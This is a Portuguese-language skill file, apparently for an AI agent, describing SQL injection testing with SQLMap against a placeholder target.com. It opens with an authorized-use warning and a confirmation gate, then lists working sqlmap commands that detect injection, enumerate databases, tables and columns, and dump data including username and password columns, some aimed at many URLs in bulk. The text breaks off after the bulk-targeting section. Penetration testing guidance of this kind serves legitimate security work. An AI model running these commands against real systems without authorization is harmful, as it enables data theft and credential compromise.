⚠️ USO AUTORIZADO APENAS Esta habilidade destina-se apenas a fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevito desta ferramenta é ilegal e estritamente proibido.

Portão de confirmação obrigatório Antes de executar qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo:

1. Peça ao usuário para declarar a URL exata do alvo, IP, conta ou recurso.
2. Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
3. Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
4. Aguarde a confirmação explícita na conversa atual.

Sem essa confirmação, permaneça apenas em modo de leitura e forneça orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.

Teste de Penetração de Banco de Dados com SQLMap

Propósito

Fornecer metodologias sistemáticas para detecção e exploração automatizada de injeção de SQL usando SQLMap. Esta habilidade abrange enumeração de banco de dados, descoberta de tabelas e colunas, extração de dados, múltiplos métodos de especificação de alvo e técnicas avançadas de exploração para MySQL, PostgreSQL, MSSQL, Oracle e outros sistemas de gerenciamento de banco de dados.

Entradas / Pré-requisitos

• URL do Alvo: URL da aplicação web com parâmetro injetável (por exemplo, ?id=1)
• Instalação do SQLMap: Pré-instalado no Kali Linux ou baixado do GitHub
• Ponto de Injeção Verificado: Parâmetro de URL confirmado ou suspeito de ser injetável em SQL
• Arquivo de Requisição (Opcional): Requisição HTTP capturada pelo Burp Suite para injeção baseada em POST
• Autorização: Permissão por escrito para atividades de teste de penetração

Saídas / Entregas

• Enumeração de Banco de Dados: Lista de todos os bancos de dados no servidor alvo
• Estrutura de Tabelas: Nomes completos das tabelas dentro do banco de dados alvo
• Mapeamento de Colunas: Nomes das colunas e tipos de dados para cada tabela
• Dados Extraídos: Registros descarregados incluindo nomes de usuário, senhas e dados sensíveis
• Valores de Hash: Hashes de senha para cracking offline
• Relatório de Vulnerabilidade: Confirmação do tipo e gravidade da injeção de SQL

Fluxo de Trabalho Principal

1. Identificar Vulnerabilidade de Injeção de SQL

Verificação Manual

# Add single quote to break query
http://target.com/page.php?id=1'

# If error message appears, likely SQL injectable
# Error example: "You have an error in your SQL syntax"

Scan Inicial com SQLMap

# Basic vulnerability detection
sqlmap -u "http://target.com/page.php?id=1" --batch

# With verbosity for detailed output
sqlmap -u "http://target.com/page.php?id=1" --batch -v 3

2. Enumerar Bancos de Dados

Listar Todos os Bancos de Dados

sqlmap -u "http://target.com/page.php?id=1" --dbs --batch

Opções Principais:

• -u: URL do alvo com parâmetro injetável
• --dbs: Enumerar nomes de bancos de dados
• --batch: Usar respostas padrão (modo não interativo)

3. Enumerar Tabelas

Listar Tabelas em Banco de Dados Específico

sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch

Opções Principais:

• -D: Especificar nome do banco de dados alvo
• --tables: Enumerar nomes de tabelas

4. Enumerar Colunas

Listar Colunas em Tabela Específica

sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns --batch

Opções Principais:

• -T: Especificar nome da tabela alvo
• --columns: Enumerar nomes de colunas

5. Extrair Dados

Descarregar Dados de Tabela Específica

sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --batch

Descarregar Colunas Específicas

sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users -C username,password --dump --batch

Descarregar Banco de Dados Inteiro

sqlmap -u "http://target.com/page.php?id=1" -D database_name --dump-all --batch

Opções Principais:

• --dump: Extrair todos os dados da tabela especificada
• --dump-all: Extrair todos os dados de todas as tabelas
• -C: Especificar nomes de colunas a serem extraídas

6. Opções Avançadas de Alvo

Alvo de Arquivo de Requisição HTTP

# Save Burp Suite request to file, then:
sqlmap -r /path/to/request.txt --dbs --batch

Alvo de Arquivo de Log

# Feed log file with multiple requests
sqlmap -l /path/to/logfile --dbs --batch

Alvo de Múltiplas URLs (Arquivo em Massa)

# Create file with URLs, one per line:
# http://target1.com/page.php?id=1
# http://target2.com/page.php?id=2
sqlmap -m /path/to/bulkfile.txt --dbs --batch

…